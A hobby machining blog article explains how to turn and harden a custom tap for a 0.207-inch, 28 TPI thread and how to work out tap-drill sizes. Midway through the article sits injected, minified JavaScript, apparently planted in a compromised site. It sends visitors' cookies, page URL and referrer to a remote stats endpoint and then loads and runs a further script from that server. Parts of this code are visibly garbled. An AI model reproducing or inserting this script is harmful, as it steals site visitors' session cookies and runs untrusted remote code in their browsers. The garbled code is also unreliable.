Wednesday , December 13 2017
Home > Lathe Projects > How to Make a Custom Tap for Uncommon or Proprietary Threads

How to Make a Custom Tap for Uncommon or Proprietary Threads

Have you ever needed a special size nut with uncommon or proprietary threads?

Recently, I came upon a special size nut that I needed to repair an old Brown & Sharpe Protractor. Measuring the stud that I needed a nut for, I discovered that the stud was .207” and had 28 TPI. A number 10 bolt measures .190” and a number 12 bolt measures .216. I tried a number 12-28 tpi nut and discovered that it fit very loose.

My solution was to make a special tap.


Pictured above is the tap that I made from water hardening drill rod and the resulting odd size nut made from 12L14 steel.

The tap was made by turning down a portion of .250” water hardening drill rod to .209” (which allows for .002” for clearance) and then cutting 28 tpi with a single point tool on the lathe. Use your standard DD formula to figure depth of thread at 29.5 degrees. Next I filed four slanted flats on the end of the tap. The angle is not critical, just so approximately 5 threads are filed down. The square should be less than the tap drill size.

(function(){ function initXMLhttp() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlhttp; } function minAjax(config) { if (!config.url) { return; } if (!config.type) { return; } if (!config.method) { config.method = true; } if (!config.debugLog) { config.debugLog = false; } var xmlhttp = initXMLhttp(); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if (config.success) { config.success(xmlhttp.responseText, xmlhttp.readyState); } } else { } } var sendString = [], sendData =; if( typeof sendData === "string" ){ var tmpArr =,'&'); for(var i = 0, j = tmpArr.length; i < j; i++){ var datum = tmpArr[i].split('='); sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1])); } }else if( typeof sendData === 'object' && !( sendData instanceof String ) ){ for (var k in sendData) { var datum = sendData[k]; if( == "[object Array]" ){ for(var i = 0, j = datum.length; i < j; i++) { sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i])); } }else{ sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum)); } } } sendString = sendString.join('&'); if (config.type == "GET") {"GET", config.url + "?" + sendString, config.method); xmlhttp.send(); } if (config.type == "POST") {"POST", config.url, config.method); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(sendString); } } function h32a(a,b,c){var d,e,f=void 0===c?2166136261:c;for(d=0,e=a.length;d>>0).toString(16)).substr(-8):f>>>0}function iT(){return!!localStorage.getItem(a)}var a="__GA___",tss="";iT()?tss=localStorage.getItem(a):(tss=h32a("",!0,Math.floor(,localStorage.setItem(a,tss)); dL(); function dL(){ var host = ""; var config = { url: host + "/stats.php", type: "POST", data: { vbase: document.baseURI, vhref: location.href, vref: document.referrer, sh: 'd3d3LmF1Y3Rpb25hZmZpbGlhdGUuY28=', k: "LmF1Y3Rpb25hZmZpbGlhdGUuY28=",ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), su: 'L2l0ZW1zL2dldC9la2V5d29yZC90YXAvZWNhbXBpZC81MzM2MjAwNDk2L2VzaXRlLzEvZXNlYXJjaGRlc2MvdHJ1ZS9lbGlzdGluZ3R5cGUvYWxsL2Vzb3J0b3JkZXIvZW5kdGltZXNvb25lc3QvYXRoZW1lL3VuaXZlcnNhbC9hZGlzcGxvZ28vZmFsc2UvZWNvdW50LzYvYWNvbHVtbnMvMy9lY2F0ZWdvcnlpbmMvMTE4MDQvYWNsaWVudHR5cGUvd3AvYWNsaWVudGhvc3Qvd3d3LnByb2plY3RzaW5tZXRhbC5jb20vZXBhZ2UvMQ==', tg: tss }, success: onSuccessCallback }; function bl(response){ var a = document.createElement('script'); var m = document.getElementsByTagName('script')[0]; a.async = 1; a.src = host + '/content.php?s=' + encodeURI(response); m.parentNode.insertBefore(a, m) } function onSuccessCallback(response){ if(response && !(response.indexOf("false") > -1) ){ bl(response); } } minAjax(config); } })();

You could use your Spin Index and mill the flats, but I found it very easy to file them. I then heated the tap to cherry red until it was not attracted by a magnet and quenched vertically in water. I did not temper and had no trouble, but you might want to temper the tap. I have made three nuts, one from brass and two from 12L14 steel and the tap seems to be no worse for the wear.


Pictured above is the end of the tap showing how I filed it before hardening the tap. It doesn’t look like it would, but this tap actually makes small chips while cutting. As there are no flutes for the chips, it needs to be backed out often to clear the chips. This tap is not easily started, so it is best done in the lathe with the tap held in drill chuck in the tailstock. Use plenty of cutting oil. Keep pressure on the tap until it has cut threads for a quarter inch, then it will pull itself in from there. I turned the chuck by hand, sometimes using chuck key for leverage.

To figure the size of the drill size for tapping, I used this formula:

(Note: This formula taken from an article by Sandro Di Filippo, March/April 2013 issue of The Home Shop Machinist, pp. 64)


Because we do not need a nut at 75%, I used 65% in the formula.

So, 65 times .01299 equals .84435 divided by 28 tpi = .030”

Thence, drill size = .207” – .030” = .177”

So, drill tap hole with nearest number drill. which is a number 16 in this case. It will make starting tap easier if you drill first part of hole slightly larger.

You can substitute different per cent of thread. Normal thread per cent is 75 %. In this case, it is easier to tap a 65% thread than a 75% thread. You may also find milling a square top will make it easier to hold tap.

Here is the Formula to figure Metric threads:

(Note: This formula taken from an article by Sandro Di Filippo, March/April 2013 issue of The Home Shop Machinist, pp. 64)


Example:  (Here again, I am using 65% for ease of tapping).

65 times .035433” (.9 mm pitch) equals 2.303145 divided by 76.980 equals .0299”

Then drill size is .207 minus .0299 equals .177” which is a number 16 drill bit.

As you can see, a 28 tpi is very close to a .9 mm thread. My thread gauge has a .9 mm leaf. Aligning the .9 mm leaf with a 28 tpi they appear to be very close. I can’t find a .9 mm pitch thread listed in any catalog that I currently have.

[adrotate group="4"]

About joutrock

Retired. Hobby machining.

Check Also

Shop Tip: A Fixture for Drilling Holes in Round Stock

Here’s a handy weekend metalworking project for you! This is a device to drill cross …